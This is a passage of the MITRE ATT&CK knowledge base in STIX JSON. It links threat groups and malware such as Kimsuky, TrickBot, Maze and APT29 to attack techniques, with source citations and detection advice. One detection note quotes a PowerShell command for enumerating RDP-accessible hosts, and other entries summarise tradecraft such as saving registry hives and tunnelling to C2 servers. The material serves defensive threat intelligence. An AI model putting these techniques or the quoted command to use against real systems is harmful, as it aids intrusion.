"x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1ff37097-9ec1-42cd-bdd6-52d74ab8e3b5", "created": "2022-02-09T14:32:47.801Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Talos Kimsuky Nov 2021", "url": "https://blog.talosintelligence.com/2021/11/kimsuky-abuses-blogs-delivers-malware.html", "description": "An, J and Malhotra, A. (2021, November 10). North Korean attackers use malicious blogs to deliver malware to high-profile South Korean targets. Retrieved December 29, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has used Blogspot to host malicious content such as beacons, file exfiltrators, and implants.(Citation: Talos Kimsuky Nov 2021)", "modified": "2022-04-12T16:09:51.442Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--3ee16395-03f0-4690-a32e-69ce9ada0f9e", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--1ff4d9b1-3a94-4bde-87cf-d4f19ac1ef50", "created": "2022-07-18T15:56:47.978Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Korean FSI TA505 2020", "url": "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1382.do?page=1&column=&search=&searchSDate=&searchEDate=&bbsDataCategory=", "description": "Financial Security Institute. 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Retrieved December 1, 2020."}], "modified": "2020-12-01T15:02:30.819Z", "description": "[Bazar](https://attack.mitre.org/software/S0534) can enumerate shared drives on the domain.(Citation: NCC Group Team9 June 2020)", "relationship_type": "uses", "source_ref": "malware--99fdf3b4-96ef-4ab9-b191-fc683441cad0", "target_ref": "attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2035eee7-c1c3-4039-9fc0-af85b21a5e3f", "type": "relationship", "created": "2021-11-12T19:30:36.047Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Fortinet Diavol July 2021", "url": "https://www.fortinet.com/blog/threat-research/diavol-new-ransomware-used-by-wizard-spider", "description": "Neeamni, D., Rubinfeld, A.. (2021, July 1). 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Retrieved April 23, 2019."}], "modified": "2019-06-24T17:20:24.272Z", "description": "[jRAT](https://attack.mitre.org/software/S0283) has the capability to capture video from a webcam.(Citation: jRAT Symantec Aug 2018)(Citation: Kaspersky Adwind Feb 2016)", "relationship_type": "uses", "source_ref": "malware--efece7e8-e40b-49c2-9f84-c55c5c93d05c", "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2045cbbe-6046-44ae-a255-6c038da68cd5", "type": "relationship", "created": "2022-03-04T18:58:46.297Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. 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Retrieved February 10, 2021."}], "modified": "2022-03-04T18:58:46.297Z", "description": "[Volatile Cedar](https://attack.mitre.org/groups/G0123) has used DirBuster and GoBuster to brute force web directories and DNS subdomains.(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--b2e34388-6938-4c59-a702-80dc219e15e3", "target_ref": "attack-pattern--bed04f7d-e48a-4e76-bd0f-4c57fe31fc46", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2050b131-d5e1-419c-ad85-660fba4004d7", "type": "relationship", "created": "2020-06-10T21:56:39.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Telebots Dec 2016", "url": "https://www.welivesecurity.com/2016/12/13/rise-telebots-analyzing-disruptive-killdisk-attacks/", "description": "Cherepanov, A.. (2016, December 13). The rise of TeleBots: Analyzing disruptive KillDisk attacks. Retrieved June 10, 2020."}], "modified": "2020-06-18T20:24:20.645Z", "description": "[Sandworm Team](https://attack.mitre.org/groups/G0034)'s BCS-server tool can create an internal proxy server to redirect traffic from the adversary-controlled C2 to internal servers which may not be connected to the internet, but are interconnected locally.(Citation: ESET Telebots Dec 2016)\t", "relationship_type": "uses", "source_ref": "intrusion-set--381fcf73-60f6-4ab2-9991-6af3cbc35192", "target_ref": "attack-pattern--731f4f55-b6d0-41d1-a7a9-072a66389aea", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20536e06-4457-4a3d-abc8-1cba5b348f53", "type": "relationship", "created": "2022-03-30T14:26:51.857Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.857Z", "description": "Monitor executed commands and arguments that may establish persistence by executing malicious content triggered by Netsh Helper DLLs.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--f63fe421-b1d1-45c0-b8a7-02cd16ff2bed", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20599767-204a-4cbf-ada7-0f931ee925e4", "type": "relationship", "created": "2020-05-05T19:37:33.769Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "QiAnXin APT-C-36 Feb2019", "url": "https://web.archive.org/web/20190625182633if_/https://ti.360.net/blog/articles/apt-c-36-continuous-attacks-targeting-colombian-government-institutions-and-corporations-en/", "description": "QiAnXin Threat Intelligence Center. (2019, February 18). APT-C-36: Continuous Attacks Targeting Colombian Government Institutions and Corporations. Retrieved May 5, 2020."}], "modified": "2020-10-14T14:40:36.548Z", "description": "[APT-C-36](https://attack.mitre.org/groups/G0099) has prompted victims to accept macros in order to execute the subsequent payload.(Citation: QiAnXin APT-C-36 Feb2019)", "relationship_type": "uses", "source_ref": "intrusion-set--c4d50cdf-87ce-407d-86d8-862883485842", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--205b4267-e86d-46a1-8aa6-61475cd90b80", "created": "2022-06-15T12:43:57.068Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). 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(2020, May 6). Phantom in the Command Shell. Retrieved December 22, 2021."}], "modified": "2022-01-19T18:23:53.030Z", "description": "[EVILNUM](https://attack.mitre.org/software/S0568) has a function called \"DeleteLeftovers\" to remove certain artifacts of the attack.(Citation: Prevailion EvilNum May 2020)", "relationship_type": "uses", "source_ref": "malware--7cdfccda-2950-4167-981a-60872ff5d0db", "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2063f611-1da2-4a62-bbb6-38b37580679f", "type": "relationship", "created": "2020-07-01T20:35:01.969Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MacKeeper Bundlore Apr 2019", "url": "https://mackeeper.com/blog/post/610-macos-bundlore-adware-analysis/", "description": "Sushko, O. (2019, April 17). macOS Bundlore: Mac Virus Bypassing macOS Security Features. Retrieved June 30, 2020."}], "modified": "2020-07-01T21:30:17.370Z", "description": "[Bundlore](https://attack.mitre.org/software/S0482) has leveraged /bin/sh and /bin/bash to execute commands on the victim machine.(Citation: MacKeeper Bundlore Apr 2019)", "relationship_type": "uses", "source_ref": "malware--7bef1b56-4870-4e74-b32a-7dd88c390c44", "target_ref": "attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--2067eae0-bab7-4737-a5ad-9c4c439d6a2c", "type": "relationship", "created": "2020-01-31T18:59:38.510Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-31T18:59:38.510Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--f792d02f-813d-402b-86a5-ab98cb391d3b", "target_ref": "attack-pattern--2cd950a6-16c4-404a-aa01-044322395107", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--206c3b88-3649-47ae-ae0d-66ceaf91186e", "type": "relationship", "created": "2022-03-30T14:26:51.860Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.860Z", "description": "Monitor newly executed processes that may abuse Microsoft Outlook rules to obtain persistence on a compromised system.", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--206ded49-56fc-4c86-ab43-f4d45f5c343c", "type": "relationship", "created": "2020-02-18T18:23:31.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-02-18T18:23:31.836Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--9ddc2534-e91c-4dab-a8f6-43dab81e8142", "target_ref": "attack-pattern--93591901-3172-4e94-abf8-6034ab26f44a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--206ef2a2-192c-4739-a1bf-b5616dcacfed", "created": "2019-06-20T14:52:45.257Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "FireEye HAWKBALL Jun 2019", "description": "Patil, S. and Williams, M.. (2019, June 5). Government Sector in Central Asia Targeted With New HAWKBALL Backdoor Delivered via Microsoft Office Vulnerabilities. Retrieved June 20, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/government-in-central-asia-targeted-with-hawkball-backdoor.html"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:23:37.190Z", "description": "[HAWKBALL](https://attack.mitre.org/software/S0391) has encrypted the payload with an XOR-based algorithm.(Citation: FireEye HAWKBALL Jun 2019)", "relationship_type": "uses", "source_ref": "malware--12a7450d-b03e-4990-a5b8-b405ab9c803b", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--20710360-f3dd-4445-8a48-a2c905abdcdc", "created": "2024-02-22T22:47:02.148Z", "revoked": false, "external_references": [{"source_name": "Rostovcev APT41 2021", "description": "Nikita Rostovcev. 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(2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.", "url": "https://telefonicatech.com/blog/snip3-investigacion-malware"}, {"source_name": "Morphisec Snip3 May 2021", "description": "Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. 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Consider analyzing newly constructed network connections that are sent or received by untrusted hosts, unexpected hardware devices, or other uncommon data flows.", "modified": "2022-04-12T13:14:06.060Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", "target_ref": "attack-pattern--774a3188-6ba9-4dc4-879d-d54ee48a5ce9", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--2077bc66-a671-4cc3-87cf-9efff8e969dc", "created": "2022-09-29T16:44:52.948Z", "revoked": false, "external_references": [{"source_name": "DFIR Conti Bazar Nov 2021", "description": "DFIR Report. (2021, November 29). CONTInuing the Bazar Ransomware Story. Retrieved September 29, 2022.", "url": "https://thedfirreport.com/2021/11/29/continuing-the-bazar-ransomware-story/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-29T16:44:52.948Z", "description": "(Citation: DFIR Conti Bazar Nov 2021)", "relationship_type": "uses", "source_ref": "campaign--78068e68-4124-4243-b6f4-76e4e5be8a06", "target_ref": "malware--a7881f21-e978-4fe4-af56-92c9416a2616", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--20785dd8-7692-4dcd-81ee-06bc9faa001c", "created": "2023-08-17T19:20:49.960Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. 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Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-02T21:21:28.728Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) has used the `reg save` command to save registry hives.(Citation: Mandiant APT29 Eye Spy Email Nov 22)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--1644e709-12d2-41e5-a60f-3470991f5011", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--207c59d5-9df0-4838-9a0a-5555ea78b35f", "created": "2019-01-30T19:18:20.125Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Unit42 OceanLotus 2017", "description": "Erye Hernandez and Danny Tsechansky. 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(2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}], "modified": "2020-04-29T18:44:04.977Z", "description": "[PoetRAT](https://attack.mitre.org/software/S0428) used TLS to encrypt communications over port 143(Citation: Talos PoetRAT April 2020)", "relationship_type": "uses", "source_ref": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", "target_ref": "attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--208b9e1d-3de9-4de8-b8d4-e3a7ff3c72ec", "created": "2023-01-03T19:12:26.352Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT41", "description": "Rufus Brown, Van Ta, Douglas Bienstock, Geoff Ackerman, John Wolfram. (2022, March 8). Does This Look Infected? A Summary of APT41 Targeting U.S. State Governments. Retrieved July 8, 2022.", "url": "https://www.mandiant.com/resources/apt41-us-state-governments"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-03T19:12:26.352Z", "description": "During [C0017](https://attack.mitre.org/campaigns/C0017), [APT41](https://attack.mitre.org/groups/G0096) used `whoami` to gather information from victim machines.(Citation: Mandiant APT41)", "relationship_type": "uses", "source_ref": "campaign--ba6dfa37-f401-4140-88b0-8938f2895e61", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--208c8563-1616-4c9a-8414-58423f17ac4c", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor executed commands and arguments for logon scripts", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--c63a348e-ffc2-486a-b9d9-d7f11ec54d99", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20904798-df45-48a6-8428-9e4fb913f6ae", "type": "relationship", "created": "2019-04-16T19:00:49.595Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "CarbonBlack Threat Analysis Unit. (2019, March 22). TAU Threat Intelligence Notification \u2013 LockerGoga Ransomware. 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Retrieved June 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Saint Bot](https://attack.mitre.org/software/S1018) can collect the IP address of a victim machine.(Citation: Malwarebytes Saint Bot April 2021)", "modified": "2022-08-03T15:05:39.091Z", "relationship_type": "uses", "source_ref": "malware--7724581b-06ff-4d2b-b77c-80dc8d53070b", "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20c01d16-fdd8-4f6b-ba0c-d81b70329440", "type": "relationship", "created": "2020-03-09T14:07:54.891Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-09T14:07:54.891Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb", "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20c30f4a-ff6f-4861-a88a-77d437374994", "type": "relationship", "created": "2020-05-06T17:47:43.602Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "JPCert BlackTech Malware September 2019", "url": "https://blogs.jpcert.or.jp/en/2019/09/tscookie-loader.html", "description": "Tomonaga, S.. (2019, September 18). Malware Used by BlackTech after Network Intrusion. Retrieved May 6, 2020."}], "modified": "2020-07-07T14:05:07.581Z", "description": "[TSCookie](https://attack.mitre.org/software/S0436) can use ICMP to receive information on the destination server.(Citation: JPCert BlackTech Malware September 2019)", "relationship_type": "uses", "source_ref": "malware--76ac7989-c5cc-42e2-93e3-d6c476f01ace", "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--20c4cb30-5393-41de-9354-46073a87d906", "created": "2022-03-30T14:26:51.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-14T19:08:42.477Z", "description": "Monitor executed commands and arguments that may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system. For network devices, monitor executed commands in AAA logs, especially those run by unexpected or unauthorized users.\n\nWindows PowerShell log Event ID 4104 (PS script execution) can be used to capture PowerShell script block contents which may contain commands used as a precursor to [RDP Hijacking](https://attack.mitre.org/techniques/T1563/002). For example, the following command in a PowerShell script block may be used to enumerate the systems on a network which have RDP access: <code>Find-DomainLocalGroupMember -GroupName \"Remote Desktop Users\" | select -expand ComputerName</code>. ", "relationship_type": "detects", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20c556ad-adcd-4b60-bde1-c3eff06c0593", "type": "relationship", "created": "2019-06-28T14:58:02.559Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. (2019, May). Turla LightNeuron: One email away from remote code execution. Retrieved June 24, 2019.", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/05/ESET-LightNeuron.pdf", "source_name": "ESET LightNeuron May 2019"}], "modified": "2019-07-16T17:12:00.689Z", "description": "[LightNeuron](https://attack.mitre.org/software/S0395) can be configured to exfiltrate data during nighttime or working hours.(Citation: ESET LightNeuron May 2019)", "relationship_type": "uses", "source_ref": "malware--6ba1d7ae-d60b-43e6-9f08-a8b787e9d9cb", "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20c7d1a2-be94-4f58-83a9-7eb9e05c4449", "type": "relationship", "created": "2017-05-31T21:33:27.072Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf", "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", "source_name": "FireEye FIN6 April 2016"}], "modified": "2020-03-17T01:19:55.563Z", "description": "[FIN6](https://attack.mitre.org/groups/G0037) used the Plink command-line utility to create SSH tunnels to C2 servers.(Citation: FireEye FIN6 April 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", "target_ref": "attack-pattern--4fe28b27-b13c-453e-a386-c2ef362a573b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20cc9dc5-61ad-4fbb-86da-4861e60b98e4", "type": "relationship", "created": "2019-07-19T14:59:44.180Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-06-09T18:49:46.545Z", "description": "[Execution Guardrails](https://attack.mitre.org/techniques/T1480) likely should not be mitigated with preventative controls because it may protect unintended targets from being compromised. If targeted, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", "relationship_type": "mitigates", "source_ref": "course-of-action--787fb64d-c87b-4ee5-a341-0ef17ec4c15c", "target_ref": "attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20cedb41-1f7b-44df-8d49-5d6fc166c557", "type": "relationship", "created": "2020-10-19T13:55:56.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Maze VM September 2020", "url": "https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/", "description": "Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}], "modified": "2020-10-19T13:55:56.024Z", "description": "[Maze](https://attack.mitre.org/software/S0449) operators have created scheduled tasks masquerading as \"Windows Update Security\", \"Windows Update Security Patches\", and \"Google Chrome Security Update\" designed to launch the ransomware.(Citation: Sophos Maze VM September 2020) ", "relationship_type": "uses", "source_ref": "malware--d9f7383c-95ec-4080-bbce-121c9384457b", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--20cf444d-b538-4971-b054-3d749aa945f0", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fidelissecurity.com/threatgeek/2016/10/trickbot-we-missed-you-dyre", "description": "Reaves, J. (2016, October 15). TrickBot: We Missed you, Dyre. Retrieved August 2, 2018.", "source_name": "Fidelis TrickBot Oct 2016"}, {"source_name": "IBM TrickBot Nov 2016", "description": "Keshet, L. (2016, November 09). Tricks of the Trade: A Deeper Look Into TrickBot\u2019s Machinations. Retrieved August 2, 2018.", "url": "https://securityintelligence.com/tricks-of-the-trade-a-deeper-look-into-trickbots-machinations/"}, {"url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Trojan:Win32/Totbrick", "description": "Pornasdoro, A. (2017, October 12). Trojan:Win32/Totbrick. Retrieved September 14, 2018.", "source_name": "Microsoft Totbrick Oct 2017"}, {"source_name": "Trend Micro Trickbot Nov 2018", "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/trickbot-shows-off-new-trick-password-grabber-module/", "description": "Anthony, N., Pascual, C.. (2018, November 1). Trickbot Shows Off New Trick: Password Grabber Module. Retrieved November 16, 2018."}], "modified": "2020-03-18T20:49:23.260Z", "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses web injects and browser redirection to trick the user into providing their login credentials on a fake or modified web page.(Citation: Fidelis TrickBot Oct 2016)(Citation: IBM TrickBot Nov 2016)(Citation: Microsoft Totbrick Oct 2017)(Citation: Trend Micro Trickbot Nov 2018)", "relationship_type": "uses", "source_ref": "malware--00806466-754d-44ea-ad6f-0caf59cb8556", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--20dfecf8-b324-4584-9526-9de6a14dfa27", "created": "2022-04-13T19:10:40.986Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Talos Bisonal Mar 2020", "url": "https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html", "description": "Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}], "x_mitre_deprecated": false, 